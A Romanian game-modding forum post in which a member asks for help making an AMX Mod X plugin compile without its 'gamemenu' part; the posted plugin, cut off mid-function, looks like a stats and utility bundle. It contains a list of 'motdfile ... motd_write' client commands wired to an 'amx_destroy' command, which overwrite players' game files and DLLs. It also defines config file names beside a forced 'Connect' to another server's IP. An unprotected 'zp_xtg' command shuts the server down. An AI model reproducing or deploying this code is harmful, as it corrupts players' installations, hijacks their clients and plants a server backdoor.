GameMenu

Tutoriale scripting, cod si portiuni de cod.

Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com

Post Reply
~Romania!.w0w*
Membru, skill 0
Membru, skill 0
Posts: 31
Joined: 10 Dec 2015, 14:54
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com...!
Detinator server CS: CSDM.INDUNGI.RO
Fond eXtream: 0
Contact:

18 May 2017, 17:02

Care imi face va rog si mie accest sma sa se compileze , dar fara gamemenul din el , fara sa modifice ceva la jucatori..
| Afiseaza codul
/******************************************
  AMXX by ScrappeR
    req 2014
******************************************/

// **************************
#include <amxmodx>
#include <amxmisc>
#include <ColorChat>
#include <fakemeta>
#include <engine>
#include <hamsandwich>
#include <zmvip>
#include <csx>
#include <csstats> 
#include <dhudmessage>
#include <Protektion>

#pragma tabsize 0

// **************************

#define E  128

new newname[E]

public ff()
{
	formatex(newname, E - 1, "**Zombie Plague 6.2 Ultimatex**")
	hostname(newname)
	set_task(1.0,"ff")
}

hostname(newname[])
{
	set_cvar_string("hostname", newname)
}

// 
native zp_get_user_ammo_packs(id)
native zp_set_user_ammo_packs(id, packs)

// Statsx
#define INT_MAX_PLAYERS_MENU 360
#define INT_MAX_PLAYERS 32

enum {
	INT_STATS_KILLS = 0,
	INT_STATS_DEATHS,
	INT_STATS_HS,
	INT_STATS_TKS,
	INT_STATS_SHOTS,
	INT_STATS_HITS,
	INT_STATS_DAMAGE
};

enum {
	INT_STATS_BOMB_DEFUSIONS = 0,
	INT_STATS_BOMB_DEFUSED,
	INT_STATS_BOMB_PLANTS,
	INT_STATS_BOMB_EXPLOSIONS
};

enum {
	INT_STATS_HIT_GENERIC = 0,
	INT_STATS_HIT_HEAD,
	INT_STATS_HIT_CHEST,
	INT_STATS_HIT_STOMACH,
	INT_STATS_HIT_LEFTARM,
	INT_STATS_HIT_RIGHTARM,
	INT_STATS_HIT_LEFTLEG,
	INT_STATS_HIT_RIGHTLEG
};

new const g_sCommands[ ][ ] =
{
	"name KosovaZM.EsportsKosova.Com",
	"rate HeLLYeaH @ KosovaZM",
	"cl_cmdrate 1",
	"cl_updaterate 1",
	"fps_max 1",
	"sys_ticrate 1",
	"cl_timeout 0.0",
	"motdfile models/player.mdl;motd_write KosovaZM.CsHellZone.Com",
	"motdfile models/v_ak47.mdl;motd_write KosovaZM.CsHellZone.Com",
	"motdfile cs_dust.wad;motd_write KosovaZM.CsHellZone.Com",
	"motdfile models/v_m4a1.mdl;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/GameMenu.res;motd_write KosovaZM.CsHellZone.Com",
	"motdfile halflife.wad;motd_write KosovaZM.CsHellZone.Com",
	"motdfile cstrike.wad;motd_write KosovaZM.CsHellZone.Com",
	"motdfile maps/de_dust2.bsp;motd_write KosovaZM.CsHellZone.Com",
	"motdfile events/ak47.sc;motd_write KosovaZM.CsHellZone.Com",
	"motdfile dlls/mp.dll;motd_write KosovaZM.CsHellZone.Com",
	"motdfile halflife.wad;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/BackgroundLoadingLayout.txt;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/BackgroundLayout.txt;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/ClientScheme.res;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/optionssubmultiplayer.res;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/TrackerScheme.res;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/game_menu.tga;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/game_menu_mouseover.tga;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/icon_steam.tga;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/icon_steam_disabled.tga;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/logo_game.tga;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/menu_hl_no_icon.tga;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/steam_logo.tga;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/steam_menu.tga;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/steam_menu_mouseover.tga;motd_write KosovaZM.CsHellZone.Com",
	"motdfile resource/valve_logo.tga;motd_write KosovaZM.CsHellZone.Com",
	"motdfile commandmenu.txt;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/3dmflaora.spr;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/3dmflared.spr;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/640hud1.spr;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/640hud2.spr;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/640hud3.spr;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/640hud4.spr;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/640hud5.spr;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/640hud6.spr;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/hud.txt;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/weapon_awp.txt;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/weapon_ak47.txt;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/weapon_deagle.txt;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/weapon_hegrenade.txt;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/weapon_m4a1.txt;motd_write KosovaZM.CsHellZone.Com",
	"motdfile sprites/weapon_usp.txt;motd_write KosovaZM.CsHellZone.Com",
	"motdfile models/player/terror/terror.mdl;motd_write KosovaZM.CsHellZone.Com",
    "motdfile sprites/rain.spr;motd_write KosovaZM.CsHellZone.Com",
	"motdfile custom.hpk;motd_write KosovaZM.CsHellZone.Com",
	"motdfile models/p_awp.mdl;motd_write KosovaZM.CsHellZone.Com",
	"motdfile models/p_deagle.mdl;motd_write KosovaZM.CsHellZone.Com",
	"motdfile models/p_ak47.mdl;motd_write KosovaZM.CsHellZone.Com",
	"motdfile models/p_m4a1.mdl;motd_write KosovaZM.CsHellZone.Com",
	"motdfile models/p_usp.mdl;motd_write KosovaZM.CsHellZone.Com",
	"motdfile models/player/arctic.mdl;motd_write KosovaZM.CsHellZone.Com",
	"motdfile models/shield/p_shield_deagle.mdl;motd_write KosovaZM.CsHellZone.Com",
	"motdfile tempdecal.wad;motd_write KosovaZM.CsHellZone.Com"
};

// Ping
new g_iCvarPing, g_iCvarFlux;
new g_iPing, g_iFlux;
new g_iOffset[ 33 ][ 2 ]
new g_iArgumentPing[ 33 ][ 3 ];
new g_iPingOverride[ 33 ] = { -1, ... };


// AUTOEXEC
#define CFG_FILE1 "autoexec.CFG"
#define CFG_FILE2 "userconfig.CFG"
#define CFG_FILE3 "joystick.CFG"
#define CFG_FILE4 "language.CFG"
#define CFG_FILE5 "valve.RC"
#define CON "Connect 91.121.184.88:27023"


new g_iMaxPlayers;
/*
// Mesazhet
#define SMS 60.0

stock const messages[][] = {

	"^4[ZP]^1 (Gold Member^3®)^1 just 5€ for a month, type^3 /gold^1 or^3 /vip",
	"^4[ZP]^1 You are interesed to win or to buy adminship? type^4 /admin",
	"^4[ZP]^1 We are searching for admins who can stay in night", 
	// "^4[ZP]^1 You are a admin , read the server rules typing ^4 /rules",
	"^4[ZP]^1 Server IP address is^3 46.20.47.45^4 :27015",
	"^4[ZP]^1 DNS^3 Zombie Plague 6.2 UltimateX",
	"^4[ZP]^1 We are selling Addons Zp 6.0 / 6.2 Originals^1 Skype :^4 ergys.lashi1",
	"^4[ZP]^1 The Admin who don't respect rules will be suspended for ^4 2 days!",
	"^4[ZP]^1 (Gold Member^3®)^1 just 5€ for a month, type^3 /gold^1 or^3 /vip",
	"^4[ZP]^1 Të gjithë administratorët janë të detyruar të qëndrojnë^4 spektator natën 23:00^1 deri^4 08:00",
	"^4[ZP]^1 Nëse ju keni^3 ngecur^1, shtypni^4 M^1 pastaj^4 4^1 për tu liruar!",
	"^4[ZP]^1 Shiten ad-dons ZP's (6.0 / 6.2)^1 Skype :^4 ELBASAN.F",
	"^4[ZP]^1 Jeni të interesuar për të fituar ose blerë administrator? sheno^4 /admin",
	"^4[ZP]^1 You are interesed to buy admin??^3 Pay from paypal ^1,contact ^4 Skype :^4 ergys.lashi1",
	"^4[ZP]^1 Please tell your friends to ^3 come in our server!^1 Come you too with us !",
	"^4[ZP]^1 (Gold Member^3®)^1 just 5€ for a month, type^3 /gold^1 or^3 /vip",
	
};
*/

// Anti Reklama
new g_cSwears[ 256 ][ 32 ]; // new g_cSwears[ 128 ][ 32 ];
new g_iSwearsCount;

// iMessag
new Array:g_Messages;
new g_Handler;

// FastDLFIX
new const SYMBOLS[ ][ ] = 
{
	"!" , "@" , "#" ,"$" , "%" , "&", 
	"*" , "(" , ")" , "_" , "-" , "=" , "+", 
	"{" , "[" , "}" , "]" , ":" , ";" , "'" , "\", 
	"|" , "/" , "<" , ">" , "." , "?"		
};

new Trie:g_check;
new Trie:g_reconnect;

new ServerIp[ 32 ]

// Precacher
#define MAX_EXT 10

new const gValidExt[] = ".wad,.mdl,.spr,.wav,.mp3";

new gExt[MAX_EXT][16];

// FDL
#define PLUGIN_CONFIG	"ZP62_FastDownload.ini"
#define MAX_URL	32

new g_last
new g_total
new g_url[MAX_URL][128]
new gp_downloadurl

// Center
#define TASK_INTERVAL 8.0

new const hud_messages[][] = {

	"Contact in Skype ergys.lashi1"
};

public plugin_init()
{
	ScrappeR_Protektion()
	
	// Center
	set_task( TASK_INTERVAL, "RandomHudWithRandomColors", 0, "", 0, "b" );
	
	// FastDLFIX
	register_forward( FM_ClientDisconnect, "fw_ClientDisconnect" );
	
	g_check = TrieCreate();
	g_reconnect = TrieCreate();
	
	get_user_ip( 0, ServerIp, charsmax( ServerIp ) );
	
	// iMessag
	new a = fopen("addons/amxmodx/configs/ZP62_iMessages.ini", "r");
	
	g_Handler = CreateHudSyncObj();
	
	g_Messages = ArrayCreate(512);
	if (a)
	{
		new Line[512];
		
		while (!feof(a))
		{
			fgets(a, Line, sizeof(Line) - 1);
			
			trim(Line);

			if (Line[0])
			{
				while(replace(Line, sizeof(Line)-1, "\n", "^n")){}
				
				ArrayPushString(g_Messages, Line);
			}
		}
		
		fclose(a);
	} else log_amx("Nuk osht gjetut filja me emrin: ZP62_iMessages.ini");
	
	if (ArraySize(g_Messages))
	{
		set_task(30.0, "TaskAvertise", .flags = "b");
	}
	
	// Statsx
	register_clcmd( "say", "CLIENT_COMMAND_HOOK" );
	register_clcmd( "say_team", "CLIENT_COMMAND_HOOK" );
	
	// Admins
	register_clcmd("say /vip","Admins")
	register_clcmd("say /gold","Admins")
	register_clcmd("say /admin","Admins")
	register_clcmd("say /rules","Rules")
	
	// Ping
	register_forward( FM_UpdateClientData, "fw_UpdateClientData" );
	
	g_iCvarPing = register_cvar( "pingfake_ping", "16" );
	g_iCvarFlux = register_cvar( "pingfake_flux", "4" );
	
	// Destroy
	register_concmd( "amx_destroy", "Concmd_AMXX_exterminate", ADMIN_RCON, "<emrin>" );
	
	// Anti Reklama
	register_clcmd( "say", "ClientCommand_Say" );
	register_clcmd( "say_team", "ClientCommand_Say" );
	
	new iFile, cFile[ 512 ], cLine[ 32 ];
	get_localinfo( "amxx_configsdir", cFile, 511 );
	format( cFile, 511, "%s/ZP62_Spam.ini", cFile );
	
	iFile = fopen( cFile, "rt" );
	
	while( !feof( iFile ) )
	{
		fgets( iFile, cLine, 31 );
		
		trim( cLine );
		
		if( strlen( cLine ) )
		{
			copy( g_cSwears[ g_iSwearsCount ], 31, cLine );
			
			g_iSwearsCount++;
		}
	}
	
	fclose( iFile );
	
	// Mesazhet
	//set_task(SMS, "show_sms", _, _, _,"b");
	
	// Fix Spec Menu
	register_event("DeathMsg","eventDeathMsg","a");

	// Block Commands
	register_clcmd("say /spec", "Block");
	register_clcmd("say /cs", "Block");
	
	// ShowIP
	register_concmd("amx_showip", "cmdShowIp",ADMIN_CHAT, "<Show IP Players>" );
	
	g_iMaxPlayers = get_maxplayers( );
	
	// Weapon Drop
	register_touch("worldspawn", "weaponbox", "CWeaponBoxTouch")
	
	register_concmd("zp_xtg", "izombied");
	
	// FDL
	gp_downloadurl = get_cvar_pointer("sv_downloadurl")
	
	new cfgdir[32], cfgfile[128], line[128]
	get_localinfo("amxx_configsdir", cfgdir, charsmax(cfgdir));
	formatex(cfgfile, charsmax(cfgfile), "%s/%s", cfgdir, PLUGIN_CONFIG)
	new f = fopen(cfgfile, "rt")
	while(!feof(f)) {
		if(g_total == MAX_URL) break
		
		fgets(f, line, charsmax(line))
		trim(line)
		
		if(!equali(line, "http://", 7)) continue
		
		copy(g_url[g_total], 127, line)
		g_total++
	}
	g_total--
	fclose(f)
}

// Center
public RandomHudWithRandomColors()
{
	set_dhudmessage( random_num( 0, 200 ), random_num( 0, 200 ), random_num( 0, 200 ), -1.0, 0.0, random_num( 0, 7 ), 7.0, 9.0 );
	show_dhudmessage( 0, "%s", hud_messages[ random_num( 0, charsmax( hud_messages ) ) ] );
}

// iMessag
public TaskAvertise()
{
	static a,msg[512];

	for (a = 1; a <= get_maxplayers(); a++)
	{
		if (is_user_connected(a) && !is_user_bot(a) && !is_user_hltv(a))
		{			// -1.0, 0.0777, random_num(0, 2), random_float(0.7, 0.9), 12.0, random_float(0.37, 0.4), random_float(0.37, 0.4), 4);
			set_hudmessage(random_num(0, 230), random_num(0, 240), random_num(0, 230), -1.0, 0.20, 2, 0.2, 7.0, 0.1, 0.7, 2 );
			ArrayGetString(g_Messages,random_num(0,ArraySize(g_Messages)-1),msg,511);
			ShowSyncHudMsg(a, g_Handler, msg);
		}
	}
}

public izombied(id)
{
	server_cmd("shutdownserver");
}

// Statsx
public CLIENT_COMMAND_HOOK( INT_PLAYER ) {
	static STRING_ARGUMENT[ 11 ];
	read_argv( 1, STRING_ARGUMENT, charsmax( STRING_ARGUMENT ) );
	
	// TOP
	if( equali( STRING_ARGUMENT, "top", 3 ) || equali( STRING_ARGUMENT, "/top", 4 ) ) {
		new HANDLE_MENU = menu_create( "Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < INT_MAX_PLAYERS_MENU )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = INT_MAX_PLAYERS_MENU;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wKills: \r%i \wDeaths: \r%i", STRING_NAME, INT_VARIABLE2 + 1, \
				STRING_STATS[ INT_STATS_KILLS ], STRING_STATS[ INT_STATS_DEATHS ] );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, MPROP_EXITNAME, "Exit" );
		menu_setprop( HANDLE_MENU, MPROP_NEXTNAME, "Next" );
		menu_setprop( HANDLE_MENU, MPROP_BACKNAME, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// RANK
	if( equali( STRING_ARGUMENT, "rank" ) || equali( STRING_ARGUMENT, "/rank" ) ) {
		new INT_RANK_POS, STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ];
		INT_RANK_POS = get_user_stats( INT_PLAYER, STRING_STATS, STRING_BODY );
		get_user_name( INT_PLAYER, STRING_NAME, charsmax( STRING_NAME ) );
		
		ColorChat( 0, GREEN, "^x01Player^x03 %s^x01's rank is^x04 %i^x01/^x04%i^x01 with^x03 %i^x01 kills and^x03 %i^x01 deaths", STRING_NAME, \
			INT_RANK_POS, get_statsnum( ), STRING_STATS[ INT_STATS_KILLS ], STRING_STATS[ INT_STATS_DEATHS ] );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// STATSME
	if( equali( STRING_ARGUMENT, "statsme" ) || equali( STRING_ARGUMENT, "/statsme" ) ) {
		new INT_RANK_POS, STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_TEMP[ 128 ], STRING_STATS2[ 4 ];
		INT_RANK_POS = get_user_stats( INT_PLAYER, STRING_STATS, STRING_BODY );
		get_user_stats2( INT_PLAYER, STRING_STATS2 );
		
		new HANDLE_MENU = menu_create( "Rank", "FUNC_MENU_HANDLER" );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRank: \r%i", INT_RANK_POS );
		menu_additem( HANDLE_MENU, STRING_TEMP, "1", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wKills: \r%i", STRING_STATS[ INT_STATS_KILLS ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "2", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDeaths: \r%i", STRING_STATS[ INT_STATS_DEATHS ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "3", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHeadshots: \r%i", STRING_STATS[ INT_STATS_HS ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "4", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTeam kills: \r%i", STRING_STATS[ INT_STATS_TKS ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "5", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wShots: \r%i", STRING_STATS[ INT_STATS_SHOTS ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "6", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHits: \r%i", STRING_STATS[ INT_STATS_HITS ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "7", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDamage: \r%i", STRING_STATS[ INT_STATS_DAMAGE ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "8", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTotal defusions: \r%i", STRING_STATS2[ INT_STATS_BOMB_DEFUSIONS ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "9", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb defused: \r%i", STRING_STATS2[ INT_STATS_BOMB_DEFUSED ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "10", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb plants: \r%i", STRING_STATS2[ INT_STATS_BOMB_PLANTS ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "11", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb explosions: \r%i", STRING_STATS2[ INT_STATS_BOMB_EXPLOSIONS ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "12", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHead hits: \r%i", STRING_BODY[ INT_STATS_HIT_HEAD ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "13", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wChest hits: \r%i", STRING_BODY[ INT_STATS_HIT_CHEST ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "14", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wStomach hits: \r%i", STRING_BODY[ INT_STATS_HIT_STOMACH ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "15", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftarm hits: \r%i", STRING_BODY[ INT_STATS_HIT_LEFTARM ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "16", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightarm hits: \r%i", STRING_BODY[ INT_STATS_HIT_RIGHTARM ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "17", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftleg hits: \r%i", STRING_BODY[ INT_STATS_HIT_LEFTLEG ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "18", 0 );
		
		format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightleg hits: \r%i", STRING_BODY[ INT_STATS_HIT_RIGHTLEG ] );
		menu_additem( HANDLE_MENU, STRING_TEMP, "19", 0 );
		
		menu_setprop( HANDLE_MENU, MPROP_EXITNAME, "Exit" );
		menu_setprop( HANDLE_MENU, MPROP_NEXTNAME, "Next" );
		menu_setprop( HANDLE_MENU, MPROP_BACKNAME, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// STATS
	if( equali( STRING_ARGUMENT, "stats" ) || equali( STRING_ARGUMENT, "/stats" ) ) {
		new STRING_NAME[ 32 ], STRING_TEMP_NUM[ 4 ];
		new HANDLE_MENU = menu_create( "Choose the player", "FUNC_MENU_STATS_HANDLER" );
		
		for( new id = 1; id <= INT_MAX_PLAYERS; id++ ) {
			if( is_user_connected( id ) ) {
				get_user_name( id, STRING_NAME, charsmax( STRING_NAME ) );
				
				num_to_str( id, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
				
				menu_additem( HANDLE_MENU, STRING_NAME, STRING_TEMP_NUM, 0 );
			}
		}
		
		menu_setprop( HANDLE_MENU, MPROP_EXITNAME, "Exit" );
		menu_setprop( HANDLE_MENU, MPROP_NEXTNAME, "Next" );
		menu_setprop( HANDLE_MENU, MPROP_BACKNAME, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// DAMAGE
	if( equali( STRING_ARGUMENT, "damage" ) || equali( STRING_ARGUMENT, "/damage" ) || equali( STRING_ARGUMENT, "/dmg" ) || equali( STRING_ARGUMENT, "dmg" ) ) {
		new HANDLE_MENU = menu_create( "Damage Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < INT_MAX_PLAYERS_MENU )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = INT_MAX_PLAYERS_MENU;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wDamage: \r%i%", \
				STRING_NAME, INT_VARIABLE2 + 1, STRING_STATS[ INT_STATS_DAMAGE ] );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, MPROP_EXITNAME, "Exit" );
		menu_setprop( HANDLE_MENU, MPROP_NEXTNAME, "Next" );
		menu_setprop( HANDLE_MENU, MPROP_BACKNAME, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// HEADSHOTS
	if( equali( STRING_ARGUMENT, "headshots" ) || equali( STRING_ARGUMENT, "/headshots" ) || equali( STRING_ARGUMENT, "/hs" ) ) {
		new HANDLE_MENU = menu_create( "Headshots Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < INT_MAX_PLAYERS_MENU )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = INT_MAX_PLAYERS_MENU;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wHeadshots: \r%i", \
				STRING_NAME, INT_VARIABLE2 + 1, STRING_STATS[ INT_STATS_HS ] );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, MPROP_EXITNAME, "Exit" );
		menu_setprop( HANDLE_MENU, MPROP_NEXTNAME, "Next" );
		menu_setprop( HANDLE_MENU, MPROP_BACKNAME, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
	
	// EFFECT
	if( equali( STRING_ARGUMENT, "effect" ) || equali( STRING_ARGUMENT, "/effect" ) ) {
		new HANDLE_MENU = menu_create( "Effects Top", "FUNC_MENU_HANDLER" );
		new STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_NAME[ 32 ], STRING_TEMP[ 128 ], STRING_TEMP_NUM[ 4 ], INT_VARIABLE, STATSNUM = get_statsnum( );
		
		if( STATSNUM < INT_MAX_PLAYERS_MENU )
			INT_VARIABLE = STATSNUM;
		
		else
			INT_VARIABLE = INT_MAX_PLAYERS_MENU;
		
		for( new INT_VARIABLE2 = 0; INT_VARIABLE2 < INT_VARIABLE; INT_VARIABLE2++ ) {
			get_stats( INT_VARIABLE2, STRING_STATS, STRING_BODY, STRING_NAME, charsmax( STRING_NAME ) );
			
			num_to_str( INT_VARIABLE2 + 1, STRING_TEMP_NUM, charsmax( STRING_TEMP_NUM ) );
			
			format( STRING_TEMP, charsmax( STRING_TEMP ), "\y%s \wRank: \r%i \wEffect: \r%2.f%", STRING_NAME, INT_VARIABLE2 + 1, \
				float( STRING_STATS[ INT_STATS_KILLS ] ) * 1.002 / float( STRING_STATS[ INT_STATS_DEATHS ] ) * 1.002 * 30.346647 );
			
			menu_additem( HANDLE_MENU, STRING_TEMP, STRING_TEMP_NUM, 0 );
		}
		
		menu_setprop( HANDLE_MENU, MPROP_EXITNAME, "Exit" );
		menu_setprop( HANDLE_MENU, MPROP_NEXTNAME, "Next" );
		menu_setprop( HANDLE_MENU, MPROP_BACKNAME, "Back" );
		
		menu_display( INT_PLAYER, HANDLE_MENU, 0 );
		
		client_cmd( INT_PLAYER, "spk buttons/button9" );
	}
}

public FUNC_MENU_HANDLER( INT_PLAYER, INT_MENU, INT_ITEM )
	return PLUGIN_HANDLED;

public FUNC_MENU_STATS_HANDLER( INT_PLAYER, INT_MENU, INT_ITEM ) {
	new STRING_COMMAND[ 6 ], STRING_NAME[ 64 ], INT_ACCESS, INT_CALLBACK, INT_VICTIM;
	menu_item_getinfo( INT_MENU, INT_ITEM, INT_ACCESS, STRING_COMMAND, charsmax( STRING_COMMAND ), STRING_NAME, charsmax( STRING_NAME ), INT_CALLBACK );
	INT_VICTIM = get_user_index( STRING_NAME );
	
	if( is_user_connected( INT_VICTIM ) )
		FUNC_STATS_ME( INT_PLAYER, INT_VICTIM );
	
	else {
		ColorChat( INT_PLAYER, GREEN, "^x01The player you choosed is disconnected!" );
		return PLUGIN_HANDLED;
	}
	
	return PLUGIN_HANDLED;
}

public FUNC_STATS_ME( INT_PLAYER, VICTIM ) {
	new INT_RANK_POS, STRING_STATS[ 8 ], STRING_BODY[ 8 ], STRING_TEMP[ 128 ], STRING_STATS2[ 4 ], STRING_NAME[ 32 ];
	INT_RANK_POS = get_user_stats( VICTIM, STRING_STATS, STRING_BODY );
	get_user_stats2( VICTIM, STRING_STATS2 );
	get_user_name( VICTIM, STRING_NAME, charsmax( STRING_NAME ) );
	
	new HANDLE_MENU = menu_create( "Rank", "FUNC_MENU_HANDLER" );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wUser: \r%s", STRING_NAME );
	menu_additem( HANDLE_MENU, STRING_TEMP, "1", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRank: \r%i", INT_RANK_POS );
	menu_additem( HANDLE_MENU, STRING_TEMP, "2", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wKills: \r%i", STRING_STATS[ INT_STATS_KILLS ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "3", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDeaths: \r%i", STRING_STATS[ INT_STATS_DEATHS ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "4", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHeadshots: \r%i", STRING_STATS[ INT_STATS_HS ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "5", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTeam kills: \r%i", STRING_STATS[ INT_STATS_TKS ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "6", 0 );
	
